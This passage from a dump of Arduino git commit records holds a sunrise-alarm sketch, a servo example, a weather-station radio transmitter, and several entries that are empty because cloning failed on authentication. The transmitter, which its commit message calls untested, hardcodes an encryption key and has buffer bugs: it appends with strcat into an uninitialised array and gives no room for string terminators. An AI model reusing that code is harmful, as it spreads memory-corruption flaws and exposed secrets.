800;\n\n\/\/ (a1,b1) -> f_1 -> (a2,b2) -> f_2 -> (a3,b3) -> f_3 -> (a4,b4)\ndouble a1 = 0.0;\ndouble b1 = minLightLevel;\ndouble a2 = thirtyminutes-10*60; \/\/ 10 minutes before\ndouble b2 = maxLightLevel*.30; \/\/ 30% \ndouble a3 = thirtyminutes-5*60; \/\/ 5 minutes before\ndouble b3 = maxLightLevel*.40; \/\/ 40%\ndouble a4 = thirtyminutes;\ndouble b4 = maxLightLevel;\n\ndouble m1 = (b2-b1)\/(a2-a1);\ndouble c1 = (b1-m1*a1);\ndouble m2 = (b3-b2)\/(a3-a2);\ndouble c2 = (b2-m2*a2);\ndouble m3 = (b4-b3)\/(a4-a3);\ndouble c3 = (b3-m3*a3);\n\n\/\/ This function maps the visible range of the LED to the time interval 0 to 1800 seconds.\n\/\/ Visible range on LED at TimerOne Period of 1000us (1 kHz flicker) is [176,1008] at increment of 16.\n\/\/ Therefore the two points are (0,176) and (1800,1008) which results in a slope of 0.4622222 and a y-intercept of 176.\n\/\/ 2014-03-11: (0,minlightLevel) -> (1800,maxLightLevel), slope = (maxLightLevel-minLightLevel)\/1800\nint lastAlarmLightLevel = 0;\nint32_t linearBright(int32_t level) {\n \/\/int linearLevel = ceil(maxBright*1.0\/(1.0+exp(-(level*1.0-maxTime*0.5)\/(maxTime\/16.0))));\n \/\/int linearLevel = level;\n \/\/int linearLevel = 36.787944117144235*exp(exp(level*0.00075472484480368113));\n\n \/\/ (0,176) -> (1800,1008)\n \/\/int linearLevel = 0.46222222*level + 176; \/\/ linear\n \/\/int linearLevel = 176.0*exp(0.000969577*level); \/\/ exponential\n \/\/int linearLevel = 64.746781646173858*exp(exp(0.00056103794655312409*level)); \/\/ exp(exp())\n\n \/\/This method seems to work well for MR16 9W LED\n int linearLevel = ((maxLightLevel-minLightLevel)\/1800.0)*level+minLightLevel;\n \/\/This method worked well for 10W LED\n\/\/ int linearLevel = 0;\n\/\/ if (level < a2) {\n\/\/ linearLevel = m1*level+c1;\n\/\/ } else if (level < a3) {\n\/\/ linearLevel = m2*level+c2;\n\/\/ } else {\n\/\/ linearLevel = m3*level+c3;\n\/\/ }\n \n \/\/Serial.print(\"linearLevel = \");\n \/\/Serial.println(linearLevel);\n lastAlarmLightLevel = linearLevel;\n timer.pwm(LEDpinA,lastAlarmLightLevel);\n return linearLevel;\n}\n\n\/\/ DONE: Update to display 12 hr time\nvoid updateTimeDisplay(ClockTime t, bool military, bool dots) {\n matrix.print(0);\n int hour = t.hour;\n if (!military) {\n hour = (t.hour > 12) ? t.hour-12 : t.hour ;\n if (hour == 0) { hour += 12; }\n } \n int digit0 = hour \/ 10;\n int digit1 = hour % 10;\n int digit3 = t.minute \/ 10;\n int digit4 = t.minute % 10;\n if (digit0 > 0) {\n matrix.writeDigitNum(0,digit0,dots);\n } \n matrix.writeDigitNum(1,digit1, dots);\n matrix.writeDigitNum(2,1); \/\/ colon\n matrix.writeDigitNum(3,digit3,dots);\n matrix.writeDigitNum(4,digit4,dots);\n matrix.writeDisplay();\n}\n\n\/\/ wait is in milliseconds\n\/\/ last is the last time this function returned true\nbool isTimeNow(unsigned long & last, unsigned wait) {\n unsigned long time = millis();\n if (static_cast<unsigned long>(time-last) > wait) {\n last = time;\n return true;\n }\n return false;\n}\n\nconst unsigned long updateInterval = 1000; \/\/ every second\nunsigned long lastUpdate = millis();\nvoid updateCurrentTime(bool force=false) {\n if (force || isTimeNow(lastUpdate,updateInterval)) {\n current_clock_time = synchronized_clock_time;\n const unsigned long seconds_delta = static_cast<unsigned long>(millis() - synchronized_clock_millis)\/1000;\n const unsigned long minutes_delta = seconds_delta\/60;\n current_clock_time.minute += minutes_delta;\n current_clock_time.second += (seconds_delta - minutes_delta*60);\n current_clock_time.fixTime();\n updateTimeDisplay(current_clock_time,false,false);\n }\n}\n\nconst unsigned long clockUpdateInterval = 24*60*60*1000; \/\/ every 24 hours\nunsigned long lastClockUpdate = millis();\nvoid updateClockTime(bool force=false) {\n if (force || isTimeNow(lastClockUpdate,clockUpdateInterval)) {\n synchronized_clock_time = ClockTime(RTC.now());\n synchronized_clock_millis = millis();\n current_clock_time = synchronized_clock_time;\n }\n}\n\nvoid updateStartTime() {\n startTime = alarmTime;\n startTime.minute -= 30;\n startTime.fixTime();\n}\n\n\nvoid display_Cloc() {\n matrix.clear();\n matrix.writeDigitRaw(0,raw_C | dot_bit);\n matrix.writeDigitRaw(1,raw_l | dot_bit);\n matrix.writeDigitRaw(3,raw_o | dot_bit);\n matrix.writeDigitRaw(4,raw_c | dot_bit);\n matrix.writeDisplay();\n}\n\n\n\nvoid display_ALAr() {\n matrix.clear();\n matrix.writeDigitRaw(0,raw_A | dot_bit);\n matrix.writeDigitRaw(1,raw_L | dot_bit);\n matrix.writeDigitRaw(3,raw_A | dot_bit);\n matrix.writeDigitRaw(4,raw_r | dot_bit);\n matrix.writeDisplay();\n}\n\nvoid display_todd() {\n matrix.setBrightness(15);\n matrix.clear();\n matrix.writeDigitRaw(0,raw_t);\n matrix.writeDigitRaw(1,raw_o);\n matrix.writeDigitRaw(3,raw_d);\n matrix.writeDigitRaw(4,raw_d);\n matrix.writeDisplay();\n delay(5000);\n}\n\nvoid setup() {\n \/\/Serial.begin(9600);\n Wire.begin();\n RTC.begin();\n \/\/if (! RTC.isrunning()) {\n \/\/ Serial.println(\"RTC is NOT running!\");\n \/\/}\n \/\/RTC.adjust(DateTime(__DATE__, __TIME__));\n \/\/RTC.adjust(\n \/\/ DateTime( 2013, \n \/\/ 03, \n \/\/ 24,\n \/\/ 06,\n \/\/ 14,\n \/\/ 50\n \/\/ )\n \/\/);\n pinMode(LEDpinA,OUTPUT); digitalWrite(LEDpinA,0);\n pinMode(AlarmButton,INPUT); \n pinMode(TimeButton,INPUT);\n pinMode(RewButton,INPUT); \n pinMode(FwdButton,INPUT); \n pinMode(OffButton,INPUT);\n timer.initialize(timerPeriod);\n timer.pwm(LEDpinA, 0); \/\/set up pin 9\n matrix.begin(0x70);\n display_todd();\n readBrightnessFromEEPROM();\n matrix.setBrightness(matrixBrightness); \/\/ 0-15\n readSunDownDeltaFromEEPROM();\n updateClockTime(true);\n updateCurrentTime(true);\n if (!readAlarmTimeFromEEPROM()) { \n alarmTime = ClockTime(5,45);\n }\n updateStartTime();\n}\n\nint32_t secondsBtwDates(ClockTime currentTime, ClockTime alarm) {\n int32_t s = (currentTime.hour - alarm.hour);\n s *= 3600;\n s += (currentTime.minute - alarm.minute)*60;\n s += (currentTime.second - alarm.second);\n \/\/Serial.print(\"Seconds between dates: currentTime = \");\n \/\/Serial.print(currentTime.hour);\n \/\/Serial.print(\":\");\n \/\/Serial.print(currentTime.minute);\n \/\/Serial.print(\", startTime = \");\n \/\/Serial.print(alarm.hour);\n \/\/Serial.print(\":\");\n \/\/Serial.print(alarm.minute);\n \/\/Serial.print(\", seconds = \");\n \/\/Serial.println(s);\n return( s );\n}\n\n\nconst unsigned lightUpdateInterval = 1000;\nunsigned long lastLightUpdate = millis();\nvoid updateLight() {\n if (!isTimeNow(lastLightUpdate,lightUpdateInterval)) {\n return;\n }\n \/\/Serial.println(\"updateLight\");\n ClockTime current = current_clock_time;\n int32_t seconds = secondsBtwDates(current,startTime);\n \/\/Serial.print(\" seconds = \");\n \/\/Serial.println(seconds);\n if ((seconds < 0) || (seconds >= maxTime)) {\n \/\/Serial.println(\" outside alarm zone\");\n if (alarmActive) {\n \/\/Serial.println(\" turning off light and setting alarmActive = false\");\n turnLightOff(maxBright-1);\n alarmActive = false;\n }\n \/\/Serial.println(\" turning on alarmEnabled\");\n alarmEnabled = true;\n return;\n }\n \/\/Serial.println(\"inside alarm zone\");\n if (!alarmEnabled) {\n \/\/Serial.println(\"but alarmEnabled is false\");\n return;\n }\n \/\/Serial.println(\"turning on alarmActive\");\n alarmActive = true;\n if (seconds >= thirtyminutes) {\n \/\/Serial.println(\"past alarm time but still in alarm zone turning light on full and returning\");\n lastAlarmLightLevel = maxLightLevel;\n digitalWrite(LEDpinA,HIGH);\n return;\n }\n \/\/Serial.println(\"in alarm zone during ramp-up, calling linearBright\");\n linearBright(seconds);\n}\n\n\nvoid forwardTime(ClockTime & t) {\n while (digitalRead(FwdButton)==LOW) {\n ++t.minute;\n if (t.minute > 59) {\n ++t.hour;\n t.minute = 0;\n }\n if (t.hour > 23) {\n t.hour = 0;\n }\n updateTimeDisplay(t,true,true);\n delay(forward_delay);\n }\n}\n\nvoid rewindTime(ClockTime & t) {\n while (digitalRead(RewButton)==LOW) {\n --t.minute;\n if (t.minute < 0) {\n --t.hour;\n t.minute = 59;\n }\n if (t.hour < 0) {\n t.hour = 23;\n }\n updateTimeDisplay(t,true,true);\n delay(rewind_delay);\n }\n\n}\n\nvoid forwardAlarm() {\n while (digitalRead(FwdButton)==LOW) {\n ++alarmTime;\n updateTimeDisplay(alarmTime,true,true);\n delay(forward_delay);\n }\n}\n\nvoid rewindAlarm() {\n while (digitalRead(RewButton)==LOW) {\n --alarmTime;\n updateTimeDisplay(alarmTime,true,true);\n delay(rewind_delay);\n }\n}\n\n\n\nvoid setTime() {\n DateTime currentTime = RTC.now();\n ClockTime t(currentTime);\n display_Cloc();\n delay(1000);\n updateTimeDisplay(t,true,true);\n waitForButtonDepress(TimeButton);\n unsigned long modeActive = millis();\n bool normalExit = true;\n while (debounceDigitalRead(TimeButton)==HIGH) {\n if (digitalRead(FwdButton)==LOW) {\n forwardTime(t);\n modeActive = millis();\n } else if (digitalRead(RewButton)==LOW) {\n rewindTime(t);\n modeActive = millis();\n }\n if (static_cast<unsigned long>(millis() - modeActive) > modeInactivePeriod) {\n normalExit = false;\n break;\n }\n }\n if (normalExit) {\n waitForButtonDepress(TimeButton);\n }\n updateTimeDisplay(t,false,false);\n RTC.adjust(\n DateTime( currentTime.year(), \n currentTime.month(), \n currentTime.day(),\n t.hour,\n t.minute,\n 0\n )\n );\n \/\/updateClockTime(true);\n \/\/ Avoid talking to RTC:\n synchronized_clock_time = t;\n synchronized_clock_millis = millis();\n current_clock_time = synchronized_clock_time;\n updateCurrentTime(true);\n}\n\nvoid setAlarm() {\n display_ALAr();\n delay(1000);\n updateTimeDisplay(alarmTime,true,true);\n waitForButtonDepress(AlarmButton);\n unsigned long modeActive = millis();\n bool normalExit = true;\n while (debounceDigitalRead(AlarmButton)==HIGH) {\n if (digitalRead(FwdButton)==LOW) {\n forwardAlarm();\n modeActive = millis();\n } else if (digitalRead(RewButton)==LOW) {\n rewindAlarm();\n modeActive = millis();\n }\n if (static_cast<unsigned long>(millis() - modeActive) > modeInactivePeriod) {\n normalExit = false;\n break;\n }\n }\n if (normalExit) {\n waitForButtonDepress(AlarmButton);\n }\n updateStartTime();\n \/\/updateTimeDisplay(startTime,true,true);\n \/\/delay(2000);\n updateCurrentTime(true);\n updateTimeDisplay(current_clock_time,false,false);\n writeAlarmTimeToEEPROM();\n}\n\nvoid forwardSunSet(int & minutes) {\n while (digitalRead(FwdButton)==LOW) {\n ++minutes;\n matrix.print(minutes);\n matrix.writeDisplay();\n delay(forward_delay);\n }\n}\n\nvoid rewindSunSet(int & minutes) {\n while (digitalRead(RewButton)==LOW) {\n --minutes;\n if (minutes < 0) {\n minutes = 0;\n }\n matrix.print(minutes);\n if (minutes == 0) {\n matrix.writeDigitNum(4,0);\n }\n matrix.writeDisplay();\n delay(rewind_delay);\n }\n}\n\n\nunsigned long millisAtStartOfSunSet = 0;\nbool sunSetActive = false;\nvoid setSunSet() {\n matrix.print(defaultSunSetDelta);\n if (defaultSunSetDelta == 0) {\n matrix.writeDigitNum(4,0);\n }\n matrix.writeDisplay();\n sunSetActive = true;\n turnLightOn(0);\n waitForButtonDepress(OffButton);\n unsigned long modeActive = millis();\n bool normalExit = true;\n while (debounceDigitalRead(OffButton)==HIGH) {\n if (digitalRead(FwdButton)==LOW) {\n forwardSunSet(defaultSunSetDelta);\n modeActive = millis();\n } \n else if (digitalRead(RewButton)==LOW) {\n rewindSunSet(defaultSunSetDelta);\n modeActive = millis();\n }\n if (static_cast<unsigned long>(millis() - modeActive) > modeInactivePeriod) {\n normalExit = false;\n break;\n }\n }\n if (defaultSunSetDelta == 0) {\n sunSetActive = false;\n turnLightOff(maxBright-1);\n }\n if (normalExit) {\n waitForButtonDepress(OffButton);\n }\n writeSunDownDeltaToEEPROM();\n millisAtStartOfSunSet = millis();\n}\n\n\nunsigned long lastSunSetUpdate = millis();\nunsigned sunSetUpdateInterval = 5;\nint lastSunSetLightLevel = 0;\nvoid updateSunSet() {\n if (!sunSetActive) {\n return;\n }\n if (!isTimeNow(lastSunSetUpdate,sunSetUpdateInterval)) {\n return;\n }\n unsigned long currentMillis = millis();\n unsigned long delta = static_cast<unsigned long>(currentMillis - millisAtStartOfSunSet);\n unsigned long finalMillis = defaultSunSetDelta;\n finalMillis *= 60;\n finalMillis *= 1000;\n if (delta > finalMillis) {\n sunSetActive = false;\n digitalWrite(LEDpinA,0);\n }\n else {\n double temp = -(1800.0*delta)\/(finalMillis*1.0) + 1800.0;\n linearBright(temp);\n }\n}\n\n\nvoid loop() {\n if (digitalRead(AlarmButton)==LOW && debounceDigitalRead(AlarmButton)==LOW) {\n setAlarm();\n } \n else if (digitalRead(TimeButton)==LOW && debounceDigitalRead(TimeButton)==LOW) {\n setTime();\n } \n else if (digitalRead(OffButton)==LOW && debounceDigitalRead(OffButton)==LOW) {\n if (alarmActive) {\n alarmActive = false;\n alarmEnabled = false;\n turnLightOff(lastAlarmLightLevel);\n waitForButtonDepress(OffButton);\n } \n else if (sunSetActive) {\n sunSetActive = false;\n turnLightOff(lastSunSetLightLevel);\n waitForButtonDepress(OffButton);\n }\n else {\n setSunSet();\n }\n } \n else if (digitalRead(FwdButton)==LOW && debounceDigitalRead(FwdButton)==LOW) {\n matrixBrightness = max(min(15,matrixBrightness+1),0); \n matrix.setBrightness(matrixBrightness); \/\/ 0-15\n waitForButtonDepress(FwdButton);\n writeBrightnessToEEPROM();\n } \n else if (digitalRead(RewButton)==LOW && debounceDigitalRead(RewButton)==LOW) {\n matrixBrightness = max(min(15,matrixBrightness-1),0); \n matrix.setBrightness(matrixBrightness); \/\/ 0-15\n waitForButtonDepress(RewButton);\n writeBrightnessToEEPROM();\n }\n updateLight();\n updateCurrentTime();\n updateClockTime();\n updateSunSet();\n \/\/ DONE 2013-03-30: Add a feature so Fwd and Rew buttons adjust the display brightness\n \/\/ DONE 2013-03-30: Add a feature so the OffButton can be used for SunDown mode when the SunRise mode is not currently active.\n \/\/ Turn on light (ramp up quickly but not instantly) then slowly turn off after 15 minutes\n}\n\n} \/\/ namespace SunriseAlarm \n\nvoid setup()\n{\n SunriseAlarm::setup();\n}\n\nvoid loop()\n{\n SunriseAlarm::loop();\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'SunriseAlarm.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"846094c3a812b1cd438e03ed36c26803f9b5fa50","subject":"Updated main file","message":"Updated main file\n","repos":"essoplerck\/Arduino-Drone,essoplerck\/Arduino-Drone","old_file":"drone\/drone.ino","new_file":"drone\/drone.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/essoplerck\/Arduino-Drone.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"235d9638d562895717d46569a56543d434bd0e91","subject":"Cleaning up the IRRelay","message":"Cleaning up the IRRelay\n","repos":"tdmike\/SASCHA,tdmike\/SASCHA,tdmike\/SASCHA,tdmike\/SASCHA,tdmike\/SASCHA,tdmike\/SASCHA","old_file":"arduino\/IR\/IRRelay\/IRRelay.ino","new_file":"arduino\/IR\/IRRelay\/IRRelay.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/tdmike\/SASCHA.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"7d6c898d789701db3f569bfff0a293c22cd5b706","subject":"cleaned up vending machine code","message":"cleaned up vending machine code\n","repos":"fishnsotong\/straightflash,fishnsotong\/straightflash","old_file":"INTEE_TEST_I.ino","new_file":"INTEE_TEST_I.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/fishnsotong\/straightflash.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"9034bb1d9b42976be453452a16a57803d07f662b","subject":"rewired everything","message":"rewired everything\n\nnow:\nthermino is pingable\ntemperature is sampled and displayed correctly\n","repos":"tconstans\/Thermino,tconstans\/Thermino,tconstans\/Thermino,tconstans\/Thermino","old_file":"src\/Nettest.ino","new_file":"src\/Nettest.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/tconstans\/Thermino.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"7282dee946d40aefdf70e94e7657fa5b38c7dcf0","subject":"Example from the Arduino - Servos video","message":"Example from the Arduino - Servos video\n","repos":"CurtisIreland\/electronics,CurtisIreland\/electronics,CurtisIreland\/electronics,CurtisIreland\/electronics,CurtisIreland\/electronics,CurtisIreland\/electronics","old_file":"Ard-Servos\/Sweep\/Sweep.ino","new_file":"Ard-Servos\/Sweep\/Sweep.ino","new_contents":"\/* Sweep\n by BARRAGAN <http:\/\/barraganstudio.com>\n This example code is in the public domain.\n\n modified 8 Nov 2013\n by Scott Fitzgerald\n http:\/\/www.arduino.cc\/en\/Tutorial\/Sweep\n*\/\n\n#include <Servo.h>\n\nServo myservo; \/\/ create servo object to control a servo\n\/\/ twelve servo objects can be created on most boards\n\nint pos = 0; \/\/ variable to store the servo position\n\nvoid setup() {\n myservo.attach(9); \/\/ attaches the servo on pin 9 to the servo object\n}\n\nvoid loop() {\n for (pos = 0; pos <= 180; pos += 1) { \/\/ goes from 0 degrees to 180 degrees\n \/\/ in steps of 1 degree\n myservo.write(pos); \/\/ tell servo to go to position in variable 'pos'\n delay(15); \/\/ waits 15ms for the servo to reach the position\n }\n delay(500); \/\/ Wait half a second before going back\n \n for (pos = 180; pos >= 0; pos -= 1) { \/\/ goes from 180 degrees to 0 degrees\n myservo.write(pos); \/\/ tell servo to go to position in variable 'pos'\n delay(15); \/\/ waits 15ms for the servo to reach the position\n }\n delay(500); \/\/ Wait half a second before starting over\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Ard-Servos\/Sweep\/Sweep.ino' did not match any file(s) known to git\n","license":"cc0-1.0","lang":"Arduino"} {"commit":"40d121e84fbfa430311dc9f001a01cc063b73ffa","subject":"Untested arduino radio transmitter code.","message":"Untested arduino radio transmitter code.\n","repos":"wdq\/SensorSeed,wdq\/SensorSeed,wdq\/SensorSeed,wdq\/SensorSeed,wdq\/SensorSeed","old_file":"SensorSeed\/Arduino\/ArduinoMetroStationI2cMaster\/ArduinoMetroStationI2cMaster.ino","new_file":"SensorSeed\/Arduino\/ArduinoMetroStationI2cMaster\/ArduinoMetroStationI2cMaster.ino","new_contents":"#include <TinyWireM.h>\n#include <USI_TWI_Master.h>\n#include <Wire.h>\n#include <RFM69.h>\n#include <SPI.h>\n#include <Adafruit_SHT31.h>\n#include <Adafruit_Sensor.h>\n#include <Adafruit_BMP085_U.h>\n#include <DHT.h>\n#include <DHT_U.h>\n#include <stdlib.h>\n\n\/\/ Settings for the Adafruit RFM69HCW radio\n#define NETWORKID 81\n#define NODEID 2\n#define RECEIVER 1\n#define FREQUENCY RF69_915MHZ\n#define ENCRYPTKEY \"eq^YkQ3n7HvC#9c$\"\n#define IS_RFM69HCW true\n\n\/\/ Settings for the DHT22\n#define DHTPIN 9\n#define DHTTYPE DHT22\n\n\/\/ Pins for the Adafruit RFM69HCW radio\n#define RFM69_CS 10\n#define RFM69_IRQ 2\n#define RFM69_IRQN 0 \/\/ IRQ 0\n#define RFM69_RST 9\n\n#define LED 13\n\n#define SERIAL_BAUD 9600\n#define TRANSMIT_INTERVAL 150000 \/\/ in milliseconds, this is set to 2.5 minutes\n\nint16_t packetnum = 0;\n\n\/\/ Setup some libraries for devices\nRFM69 radio = RFM69(RFM69_CS, RFM69_IRQ, IS_RFM69HCW, RFM69_IRQN);\nAdafruit_SHT31 sht31 = Adafruit_SHT31();\nAdafruit_BMP085_Unified bmp180 = Adafruit_BMP085_Unified(10085);\nDHT_Unified dht(DHTPIN, DHTTYPE);\n\nvoid setupRadio() {\n \/\/ Hard Reset the RFM module\n pinMode(RFM69_RST, OUTPUT);\n digitalWrite(RFM69_RST, HIGH);\n delay(100);\n digitalWrite(RFM69_RST, LOW);\n delay(100); \n \/\/ Initialize radio\n radio.initialize(FREQUENCY,NODEID,NETWORKID);\n if (IS_RFM69HCW) {\n radio.setHighPower(); \/\/ Only for RFM69HCW & HW!\n }\n radio.setPowerLevel(31); \/\/ power output ranges from 0 (5dBm) to 31 (20dBm)\n \n radio.encrypt(ENCRYPTKEY);\n \n pinMode(LED, OUTPUT);\n Serial.print(\"\\nTransmitting at \");\n Serial.print(FREQUENCY==RF69_433MHZ ? 433 : FREQUENCY==RF69_868MHZ ? 868 : 915);\n Serial.println(\" MHz\"); \n}\n\n\nvoid initializeSensors() {\n sht31.begin(0x44);\n bmp180.begin();\n}\n\nvoid setup() {\n Serial.begin(SERIAL_BAUD);\n Serial.println(\"Starting Arduino Metro weather station I2C master, radio transmitter...\");\n \n setupRadio();\n initializeSensors();\n\n Serial.println(\"Setup complete\");\n}\n\nvoid loop() {\n delay(TRANSMIT_INTERVAL); \/\/ Transmit at an interval\n\n char temperatureSHT31[7]; \/\/ 7 max chars (based on -999.99 to 999.99)\n dtostrf(getTemperatureSHT31(), 7, 2, temperatureSHT31);\n char humiditySHT32[6]; \/\/ 6 max chars (based on 0.00 to 100.00)\n dtostrf(getHumiditySHT31(), 6, 2, humiditySHT32);\n char pressureBMP180[9]; \/\/ 9 max cahrs (based on database model)\n dtostrf(getPressureBMP180(), 9, 2, pressureBMP180); \n char altitudeBMP180[9]; \/\/ 9 max chars (based on database model)\n dtostrf(getAltitudeBMP180(), 9, 2, altitudeBMP180); \n char windSpeedI2C[10]; \/\/ 10 max chars (based on slave conversion)\n getWindSpeedI2C().toCharArray(windSpeedI2C, 10); \n char gustSpeedI2C[10]; \/\/ 10 max chars (based on slave conversion)\n getGustSpeedI2C().toCharArray(gustSpeedI2C, 10);\n char rainI2C[10]; \/\/ 10 max chars (based on slave conversion)\n getRainI2C().toCharArray(rainI2C, 10);\n char batteryI2C[10]; \/\/ 10 max chars (based on slave conversion)\n getBatteryI2C().toCharArray(batteryI2C, 10);\n char solarI2C[10]; \/\/ 10 max chars (based on slave conversion)\n getSolarI2C().toCharArray(solarI2C, 10); \n char directionI2C[10]; \/\/ 10 max chars (based on slave conversion)\n getDirectionI2C().toCharArray(directionI2C, 10); \n char temperatureBMP180[7]; \/\/ 7 max chars (based on -999.99 to 999.99)\n dtostrf(getTemperatureBMP180(), 7, 2, temperatureBMP180);\n char temperatureDHT22[7]; \/\/ 7 max chars (based on -999.99 to 999.99)\n dtostrf(getTemperatureDHT22(), 7, 2, temperatureDHT22);\n char humidityDHT22[6]; \/\/ 6 max chars (based on 0.00 to 100.00)\n dtostrf(getHumidityDHT22(), 6, 2, humidityDHT22); \n \/\/ Total data bytes: 7 + 6 + 9 + 9 + 10 + 10 + 10 + 10 + 10 + 10 + 7 + 7 + 6 = 111\n \/\/ Total separation comma bytes: 12\n \/\/ Total combined bytes: 111 + 12 = 123\n \/\/ Round that up with some extra spare bits: 150? \n\n char radiopacket[150];\n strcat(radiopacket, temperatureSHT31);\n strcat(radiopacket, \",\");\n strcat(radiopacket, humiditySHT32);\n strcat(radiopacket, \",\");\n strcat(radiopacket, pressureBMP180);\n strcat(radiopacket, \",\");\n strcat(radiopacket, altitudeBMP180);\n strcat(radiopacket, \",\");\n strcat(radiopacket, windSpeedI2C);\n strcat(radiopacket, \",\");\n strcat(radiopacket, gustSpeedI2C);\n strcat(radiopacket, \",\");\n strcat(radiopacket, rainI2C);\n strcat(radiopacket, \",\");\n strcat(radiopacket, batteryI2C);\n strcat(radiopacket, \",\");\n strcat(radiopacket, solarI2C);\n strcat(radiopacket, \",\");\n strcat(radiopacket, directionI2C);\n strcat(radiopacket, \",\");\n strcat(radiopacket, temperatureBMP180);\n strcat(radiopacket, \",\");\n strcat(radiopacket, temperatureDHT22);\n strcat(radiopacket, \",\");\n strcat(radiopacket, humidityDHT22);\n \n itoa(packetnum++, radiopacket+13, 10);\n Serial.print(\"Sending \"); Serial.println(radiopacket);\n if (radio.sendWithRetry(RECEIVER, radiopacket, strlen(radiopacket))) { \/\/target node Id, message as string or byte array, message length\n Serial.println(\"OK\");\n }\n \n radio.receiveDone(); \/\/put radio in RX mode\n Serial.flush(); \/\/make sure all serial data is clocked out before sleeping the MCU\n \n}\n\n\n\n\nfloat getTemperatureSHT31() {\n float temperature = sht31.readTemperature();\n return temperature;\n}\n\nfloat getHumiditySHT31() {\n float humidity = sht31.readHumidity();\n return humidity;\n}\n\nfloat getPressureBMP180() {\n sensors_event_t event;\n bmp180.getEvent(&event);\n return event.pressure;\n}\n\nfloat getAltitudeBMP180() {\n sensors_event_t event;\n bmp180.getEvent(&event);\n float seaLevelPressure = SENSORS_PRESSURE_SEALEVELHPA;\n return bmp180.pressureToAltitude(seaLevelPressure, event.pressure);\n}\n\nString getWindSpeedI2C() {\n Wire.beginTransmission(6); \/\/ transmit to device #2\n Wire.write(1);\n Wire.endTransmission();\n delay(25);\n int i = 0;\n char temp1[10];\n Wire.requestFrom(6, 10); \/\/ request 4 bytes from slave device #2\n while (Wire.available()) { \/\/ slave may send less than requested\n temp1[i] = Wire.read(); \/\/ receive a byte as character\n i++;\n \/\/Serial.print(c); \/\/ print the character\n }\n String data = String(temp1);\n data.trim();\n delay(5);\n return data;\n}\n\nString getGustSpeedI2C() {\n Wire.beginTransmission(6); \/\/ transmit to device #2\n Wire.write(2);\n Wire.endTransmission();\n delay(25);\n int i = 0;\n char temp1[10];\n Wire.requestFrom(6, 10); \/\/ request 4 bytes from slave device #2\n while (Wire.available()) { \/\/ slave may send less than requested\n temp1[i] = Wire.read(); \/\/ receive a byte as character\n i++;\n \/\/Serial.print(c); \/\/ print the character\n }\n String data = String(temp1);\n data.trim();\n delay(5);\n return data;\n}\n\nString getRainI2C() {\n Wire.beginTransmission(6); \/\/ transmit to device #2\n Wire.write(3);\n Wire.endTransmission();\n delay(25);\n int i = 0;\n char temp1[10];\n Wire.requestFrom(6, 10); \/\/ request 4 bytes from slave device #2\n while (Wire.available()) { \/\/ slave may send less than requested\n temp1[i] = Wire.read(); \/\/ receive a byte as character\n i++;\n \/\/Serial.print(c); \/\/ print the character\n }\n String data = String(temp1);\n data.trim();\n delay(5);\n return data;\n}\n\nString getBatteryI2C() {\n Wire.beginTransmission(6); \/\/ transmit to device #2\n Wire.write(6);\n Wire.endTransmission();\n delay(25);\n int i = 0;\n char temp1[10];\n Wire.requestFrom(6, 10); \/\/ request 4 bytes from slave device #2\n while (Wire.available()) { \/\/ slave may send less than requested\n temp1[i] = Wire.read(); \/\/ receive a byte as character\n i++;\n \/\/Serial.print(c); \/\/ print the character\n }\n String data = String(temp1);\n data.trim();\n delay(5);\n return data;\n}\n\nString getSolarI2C() {\n Wire.beginTransmission(6); \/\/ transmit to device #2\n Wire.write(5);\n Wire.endTransmission();\n delay(25);\n int i = 0;\n char temp1[10];\n Wire.requestFrom(6, 10); \/\/ request 4 bytes from slave device #2\n while (Wire.available()) { \/\/ slave may send less than requested\n temp1[i] = Wire.read(); \/\/ receive a byte as character\n i++;\n \/\/Serial.print(c); \/\/ print the character\n }\n String data = String(temp1);\n data.trim();\n delay(5);\n return data;\n}\n\nString getDirectionI2C() {\n Wire.beginTransmission(6); \/\/ transmit to device #2\n Wire.write(4);\n Wire.endTransmission();\n delay(25);\n int i = 0;\n char temp1[10];\n Wire.requestFrom(6, 10); \/\/ request 4 bytes from slave device #2\n while (Wire.available()) { \/\/ slave may send less than requested\n temp1[i] = Wire.read(); \/\/ receive a byte as character\n i++;\n \/\/Serial.print(c); \/\/ print the character\n }\n String data = String(temp1);\n data.trim();\n delay(5);\n return data;\n}\n\nfloat getTemperatureBMP180() {\n sensors_event_t event;\n bmp180.getEvent(&event);\n float temperature;\n bmp180.getTemperature(&temperature);\n return temperature;\n}\n\nfloat getTemperatureDHT22() {\n sensors_event_t event;\n dht.temperature().getEvent(&event);\n return event.temperature;\n}\n\nfloat getHumidityDHT22() {\n sensors_event_t event;\n dht.humidity().getEvent(&event);\n return event.relative_humidity;\n}\n\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'SensorSeed\/Arduino\/ArduinoMetroStationI2cMaster\/ArduinoMetroStationI2cMaster.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"471112ed22c7b77b03b1db2bb5261fefb52c6f10","subject":"Pulse sensor improved","message":"Pulse sensor improved\n\nprints every 